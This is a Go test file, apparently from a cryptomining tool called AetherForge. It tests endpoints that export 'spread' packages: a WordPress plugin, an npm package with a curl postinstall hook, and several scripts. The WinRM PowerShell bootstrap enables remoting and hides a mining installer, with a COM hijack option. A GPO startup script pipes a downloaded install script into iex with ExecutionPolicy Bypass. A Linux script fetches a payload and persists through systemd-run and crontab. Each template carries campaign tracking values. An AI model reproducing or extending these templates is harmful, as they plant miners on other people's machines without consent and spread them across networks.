Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
385 lines
12 KiB
Go
385 lines
12 KiB
Go
package api
|
|
|
|
import (
|
|
"archive/zip"
|
|
"bytes"
|
|
"encoding/json"
|
|
"io"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
)
|
|
|
|
func writeSpreadTemplates(t *testing.T, root string) {
|
|
t.Helper()
|
|
wpDir := filepath.Join(root, "templates", "wordpress-plugin", "plugin-template")
|
|
if err := os.MkdirAll(wpDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(wpDir, "plugin.php"), []byte("<?php // {{PLUGIN_SLUG}} {{DOWNLOAD_URL}}\n"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(wpDir, "readme.txt"), []byte("Stable tag: {{VERSION}}\nCampaign: {{WP_CAMPAIGN}}\n"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
npmDir := filepath.Join(root, "templates", "npm-helper-package", "scripts")
|
|
if err := os.MkdirAll(npmDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(root, "templates", "npm-helper-package", "package.json"), []byte(`{"name":"{{PACKAGE_NAME}}","scripts":{"postinstall":"curl {{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}"}}`), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(npmDir, "postinstall.cjs"), []byte("// {{CAMPAIGN}}\n"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
spreadDir := filepath.Join(root, "spread-kit-web-publisher")
|
|
if err := os.MkdirAll(spreadDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("<html>{{SERVER_URL}}{{QUERY_SUFFIX}}</html>"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
|
|
if err := os.MkdirAll(winrmDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
winrmScript := `# WinRM bootstrap
|
|
Enable-PSRemoting -Force -SkipNetworkProfileCheck
|
|
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
|
Start-Process -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
|
powershell.exe -EncodedCommand $encoded
|
|
COM={{COM_HIJACK}}
|
|
`
|
|
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
|
if err := os.MkdirAll(linuxDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
linuxScript := `#!/bin/sh
|
|
LOTL_MODE='{{LOTL_MODE}}'
|
|
curl -fsSL "{{SERVER_URL}}/get?os=linux{{QUERY_SUFFIX}}"
|
|
systemd-run --user --unit=aetherforge-worker.service
|
|
persist_crontab() { crontab -; }
|
|
`
|
|
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
|
if err := os.MkdirAll(entDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
gpoScript := `# GPO computer startup script
|
|
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
|
$env:AETHER_DEFER_MINING = '1'
|
|
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
|
`
|
|
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
func readZipEntries(t *testing.T, body []byte) map[string]string {
|
|
t.Helper()
|
|
zr, err := zip.NewReader(bytes.NewReader(body), int64(len(body)))
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
out := make(map[string]string)
|
|
for _, f := range zr.File {
|
|
rc, err := f.Open()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
data, err := io.ReadAll(rc)
|
|
rc.Close()
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
out[f.Name] = string(data)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func TestExportWordPressPluginZIP(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
|
|
body, _ := json.Marshal(map[string]string{
|
|
"build_id": "build-abc",
|
|
"server_url": "https://deck.example:8989",
|
|
"site_name": "My Blog",
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportWordPressPlugin(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
|
|
t.Fatalf("content-type %q", ct)
|
|
}
|
|
if !strings.Contains(rec.Header().Get("Content-Disposition"), "my-blog-wordpress-plugin.zip") {
|
|
t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
|
|
}
|
|
|
|
entries := readZipEntries(t, rec.Body.Bytes())
|
|
php, ok := entries["my-blog/my-blog.php"]
|
|
if !ok {
|
|
t.Fatalf("expected my-blog/my-blog.php in zip, got %v", entries)
|
|
}
|
|
wantURL := "https://deck.example:8989/get?c=wp-my-blog&pin=build-abc"
|
|
if !strings.Contains(php, wantURL) {
|
|
t.Fatalf("php missing download url %q: %s", wantURL, php)
|
|
}
|
|
if readme, ok := entries["my-blog/readme.txt"]; !ok || !strings.Contains(readme, "wp-my-blog") {
|
|
t.Fatalf("readme missing campaign: %v", entries["my-blog/readme.txt"])
|
|
}
|
|
}
|
|
|
|
func TestExportNpmHelperZIP(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
|
|
body, _ := json.Marshal(map[string]string{
|
|
"build_id": "pin-1",
|
|
"server_url": "https://deck.example",
|
|
"campaign": "ci-bootstrap",
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/npm-helper-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportNpmHelper(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
entries := readZipEntries(t, rec.Body.Bytes())
|
|
pkg := entries["package.json"]
|
|
if !strings.Contains(pkg, "@aetherforge/ci-bootstrap-helper") {
|
|
t.Fatalf("package.json: %s", pkg)
|
|
}
|
|
if !strings.Contains(pkg, "https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap") {
|
|
t.Fatalf("package.json missing install url: %s", pkg)
|
|
}
|
|
}
|
|
|
|
func TestExportSpreadKitZIP(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
|
|
body, _ := json.Marshal(map[string]string{
|
|
"server_url": "https://deck.example",
|
|
"campaign": "wave-a",
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-kit-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportSpreadKit(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
entries := readZipEntries(t, rec.Body.Bytes())
|
|
if !strings.Contains(entries["index.html"], "https://deck.example?c=wave-a") {
|
|
t.Fatalf("index.html: %s", entries["index.html"])
|
|
}
|
|
}
|
|
|
|
func TestExportSpreadTemplateZIP(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
|
|
body, _ := json.Marshal(map[string]interface{}{
|
|
"template": "winrm",
|
|
"server_url": "https://deck.example",
|
|
"build_id": "pin-9",
|
|
"campaign": "winrm-lab",
|
|
"com_hijack": true,
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportSpreadTemplate(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
entries := readZipEntries(t, rec.Body.Bytes())
|
|
if !strings.Contains(entries["bootstrap.ps1"], "https://deck.example/get?os=windows&pin=pin-9&c=winrm-lab") {
|
|
t.Fatalf("bootstrap.ps1: %s", entries["bootstrap.ps1"])
|
|
}
|
|
if !strings.Contains(entries["bootstrap.ps1"], "COM=true") {
|
|
t.Fatalf("expected COM_HIJACK replacement: %s", entries["bootstrap.ps1"])
|
|
}
|
|
}
|
|
|
|
func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportSpreadTemplate(rec, req)
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("status %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestExportSpreadTemplateGPO(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
|
|
body, _ := json.Marshal(map[string]string{
|
|
"template": "gpo",
|
|
"server_url": "https://deck.example",
|
|
"build_id": "pin-gpo",
|
|
"campaign": "domain-wave",
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportSpreadTemplate(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
if !strings.Contains(rec.Header().Get("Content-Disposition"), "aetherforge-gpo-startup.zip") {
|
|
t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
|
|
}
|
|
entries := readZipEntries(t, rec.Body.Bytes())
|
|
script := entries["gpo-startup.ps1"]
|
|
for _, marker := range []string{
|
|
"https://deck.example/install.ps1",
|
|
"pin=pin-gpo",
|
|
"c=domain-wave",
|
|
"AETHER_DEFER_MINING",
|
|
} {
|
|
if !strings.Contains(script, marker) {
|
|
t.Fatalf("gpo script missing %q: %s", marker, script)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestExportSpreadTemplateLinuxLOTL(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
|
|
body, _ := json.Marshal(map[string]string{
|
|
"template": "linux-lotl",
|
|
"server_url": "https://deck.example",
|
|
"build_id": "pin-lnx",
|
|
"campaign": "ssh-wave",
|
|
"lotl_mode": "both",
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportSpreadTemplate(rec, req)
|
|
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
entries := readZipEntries(t, rec.Body.Bytes())
|
|
script := entries["lotl-bootstrap.sh"]
|
|
for _, marker := range []string{
|
|
"https://deck.example/get?os=linux",
|
|
"pin=pin-lnx",
|
|
"LOTL_MODE='both'",
|
|
"systemd-run --user",
|
|
"crontab",
|
|
} {
|
|
if !strings.Contains(script, marker) {
|
|
t.Fatalf("linux script missing %q: %s", marker, script)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestSpreadTemplateRejectsUnknownLane(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
body, _ := json.Marshal(map[string]string{
|
|
"template": "bogus-lane",
|
|
"server_url": "https://deck.example",
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportSpreadTemplate(rec, req)
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
}
|
|
|
|
func TestSpreadTemplateRequiresServerURL(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
body, _ := json.Marshal(map[string]string{"template": "winrm"})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportSpreadTemplate(rec, req)
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("status %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestExportSpreadTemplateWinRMMarkers(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
|
|
body, _ := json.Marshal(map[string]interface{}{
|
|
"template": "winrm",
|
|
"server_url": "https://deck.example",
|
|
"build_id": "pin-wrm",
|
|
"campaign": "winrm-lab",
|
|
"com_hijack": true,
|
|
})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportSpreadTemplate(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
|
}
|
|
entries := readZipEntries(t, rec.Body.Bytes())
|
|
script := entries["bootstrap.ps1"]
|
|
for _, marker := range []string{
|
|
"Enable-PSRemoting",
|
|
"https://deck.example/get?os=windows",
|
|
"--spread-install",
|
|
"--defer-mining",
|
|
"COM=true",
|
|
} {
|
|
if !strings.Contains(script, marker) {
|
|
t.Fatalf("winrm script missing %q: %s", marker, script)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
|
|
|
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ExportWordPressPlugin(rec, req)
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("status %d", rec.Code)
|
|
}
|
|
}
|